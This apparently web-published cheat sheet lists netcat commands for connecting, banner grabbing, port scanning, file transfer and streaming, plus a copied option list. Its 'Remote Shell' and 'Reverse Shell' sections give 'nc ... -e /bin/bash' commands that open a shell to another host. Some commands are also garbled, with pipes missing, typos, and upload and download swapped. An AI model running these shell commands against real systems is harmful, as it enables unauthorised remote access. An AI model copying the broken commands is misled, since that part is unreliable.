Netcat Command Cheat Sheet

Netcat Command Cheat Sheet

Get the list of most popular and useful netcat commands. Get a free PDF to accompany you.

This resource provides you with the common and useful commands when working with the netcat utility.

Basic Usage

Command Operation
nc [option] [host] [port] Connect to host connect at the specified host and port
nc -lp port [host] [port] Listen for incoming connections
nc -lv [port] Start the server at the specified address
nc [host] [port] Open a netcat client at the specified address and port
Command Operation
nc [address] [port] TCP banner grab
`echo "" nc -zv -wl [address] [port]`

Port Scanning

Command Operation
nc -zvn [address] [port range] Scan the ports in the specified range
nc -zvn [address] [port1 port2 port3 portN] Scan the specified ports

File Transfer

Command Operation
nc -lv [address] [port] < filename Download the specified file from the the defined address and port
nc lv [addres] [port] > filename Upload the file to the specified address and port.

Directory Transfer

Command Operation
tar -cvf - target_dir nc -l [poty] Upload the specified directory as an archive
`nc -n [address] [port] tar -xvf -`

Remote Shell

Command Operation
nc -lv [address] [port] -e /bin/bash Open a bash shell on the target address and port
nc [address] [port] Connect to a remote shell on the specified address and port

Reverse Shell

Command Operation
nc -ln 8000 Listen on the specified port
nc [address] [port] -v -e /bin/bash Connect the bash shell on specified port and address.

Video Stream

Command Operation
`cat video_file nc -l [address] [port]`
`nc [address] [port] player_name [options] `

Netcat Command Options

The following are some popular command options.

     The options are as follows:

     -4      Use IPv4 addresses only.

     -6      Use IPv6 addresses only.

     -b      Allow broadcast.

     -C      Send CRLF as line-ending.  Each line feed (LF) character from the input data is translated into CR+LF before being written to the socket.  Line feed characters that are already preceded with a carriage return (CR) are not translated.  Received data is not

     -D      Enable debugging on the socket.

     -d      Do not attempt to read from stdin.

     -F      Pass the first connected socket using sendmsg(2) to stdout and exit.  This is useful in conjunction with -X to have nc perform connection setup with a proxy but then leave the rest of the connection to another program (e.g. ssh(1) using the ssh_config(5)
             ProxyUseFdpass option).  Cannot be used with -U.

     -h      Print out the nc help text and exit.

     -I length
             Specify the size of the TCP receive buffer.

     -i interval
             Sleep for interval seconds between lines of text sent and received.  Also causes a delay time between connections to multiple ports.

     -k      When a connection is completed, listen for another one.  Requires -l.  When used together with the -u option, the server socket is not connected and it can receive UDP datagrams from multiple hosts.

     -l      Listen for an incoming connection rather than initiating a connection to a remote host.  The destination and port to listen on can be specified either as non-optional arguments, or with options -s and -p respectively.  Cannot be used together with -x or -z.
             Additionally, any timeouts specified with the -w option are ignored.

     -M ttl  Set the TTL / hop limit of outgoing packets.

     -m minttl
             Ask the kernel to drop incoming packets whose TTL / hop limit is under minttl.

     -N      shutdown(2) the network socket after EOF on the input.  Some servers require this to finish their work.

     -n      Do not perform domain name resolution.  If a name cannot be resolved without DNS, an error will be reported.

     -O length
             Specify the size of the TCP send buffer.

     -P proxy_username
             Specifies a username to present to a proxy server that requires authentication.  If no username is specified then authentication will not be attempted.  Proxy authentication is only supported for HTTP CONNECT proxies at present.

     -p source_port
             Specify the source port nc should use, subject to privilege restrictions and availability.

     -q seconds
             after EOF on stdin, wait the specified number of seconds and then quit. If seconds is negative, wait forever (default).  Specifying a non-negative seconds implies -N.

     -r      Choose source and/or destination ports randomly instead of sequentially within a range or in the order that the system assigns them.

     -S      Enable the RFC 2385 TCP MD5 signature option.

     -s sourceaddr
             Set the source address to send packets from, which is useful on machines with multiple interfaces.  For UNIX-domain datagram sockets, specifies the local temporary socket file to create and use so that datagrams can be received.  Cannot be used together
             with -x.

     -T keyword
             Change the IPv4 TOS/IPv6 traffic class value.  keyword may be one of critical, inetcontrol, lowcost, lowdelay, netcontrol, throughput, reliability, or one of the DiffServ Code Points: ef, af11 ... af43, cs0 ... cs7; or a number in either hex or decimal.

     -t      Send RFC 854 DON'T and WON'T responses to RFC 854 DO and WILL requests.  This makes it possible to use nc to script telnet sessions.

     -U      Use UNIX-domain sockets.  Cannot be used together with -F or -x.

     -u      Use UDP instead of TCP.  Cannot be used together with -x.  For UNIX-domain sockets, use a datagram socket instead of a stream socket.  If a UNIX-domain socket is used, a temporary receiving socket is created in /tmp unless the -s flag is given.

     -V rtable
             Set the routing table to be used.

     -v      Produce more verbose output.

     -W recvlimit
             Terminate after receiving recvlimit packets from the network.

     -w timeout
             Connections which cannot be established or are idle timeout after timeout seconds.  The -w flag has no effect on the -l option, i.e. nc will listen forever for a connection, with or without the -w flag.  The default is no timeout.

     -X proxy_protocol
             Use proxy_protocol when talking to the proxy server.  Supported protocols are 4 (SOCKS v.4), 5 (SOCKS v.5) and connect (HTTPS proxy).  If the protocol is not specified, SOCKS version 5 is used.

     -x proxy_address[:port]
             Connect to destination using a proxy at proxy_address and port.  If port is not specified, the well-known port for the proxy protocol is used (1080 for SOCKS, 3128 for HTTPS).  An IPv6 address can be specified unambiguously by enclosing proxy_address in
             square brackets.  A proxy cannot be used with any of the options -lsuU.

     -Z      DCCP mode.

     -z      Only scan for listening daemons, without sending any data to them.  Cannot be used together with -l.


This is a short cheat sheet with the most common and useful netcat commands and examples. Thanks for reading. Feel free to grab a feel PDF copy of this cheat sheet in the resource below.

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